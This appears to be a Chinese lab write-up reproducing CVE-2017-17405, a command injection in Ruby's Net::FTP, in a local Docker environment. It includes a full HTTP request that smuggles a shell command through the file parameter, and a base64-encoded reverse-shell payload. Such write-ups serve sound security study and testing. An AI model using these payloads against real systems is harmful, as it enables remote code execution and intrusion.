Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405)

Ruby Net::FTP 模块在Ruby中用于处理和FTP协议相关的功能。

Ruby 2.4.3版本前,Net::FTP 模块在上传和下载文件时使用了open函数。而open函数借用系统命令来打开文件,且未过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。

参考链接:

漏洞环境

执行如下命令使用Ruby 2.4.1启动一个Web服务:

docker compose up -d

环境启动后,访问http://your-ip:8080/将可以看到一个HTTP服务。这个HTTP服务的作用是,我们访问http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt,它会从example.com:2121这个ftp服务端下载文件vulhub.txt到本地,并将内容返回给用户。

漏洞复现

因为这是一个FTP客户端的漏洞,所以我们需要先运行一个可以被访问到的服务端。比如使用python的pyftpdlib:

# 安装pyftpdlib
pip install pyftpdlib

# 在当前目录下启动一个ftp服务器,默认监听在`0.0.0.0:2121`端口
python3 -m pyftpdlib -p 2121 -i 0.0.0.0

然后,将刚才启动的FTP服务器地址作为*uri*参数,|touch${IFS}success.txt作为*file*参数,替换进下面的请求发送:

GET /download?uri=ftp://example.com:2121/&file=|touch${IFS}success.txt HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

然后进入docker容器内,可见success.txt已被创建:

执行反弹shell的命令|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}',成功反弹: